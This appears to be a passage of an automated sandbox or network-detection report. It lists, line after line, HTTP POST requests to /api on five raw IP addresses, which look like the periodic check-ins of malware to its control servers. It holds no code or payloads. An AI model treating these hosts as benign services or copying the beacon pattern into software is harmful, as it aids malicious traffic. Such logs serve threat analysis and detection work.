Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
